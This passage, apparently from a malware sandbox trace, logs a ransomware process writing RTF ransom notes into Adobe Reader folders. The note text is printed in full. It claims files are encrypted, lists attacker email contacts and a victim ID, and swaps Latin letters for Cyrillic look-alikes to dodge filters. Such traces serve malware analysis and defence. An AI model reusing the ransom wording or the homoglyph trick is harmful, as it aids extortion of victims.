h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.522] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.523] CloseHandle (hObject=0x1cc) returned 1 [0040.523] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\!bwng_info!.rtf")) returned 0xffffffff [0040.523] GetLastError () returned 0x2 [0040.523] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 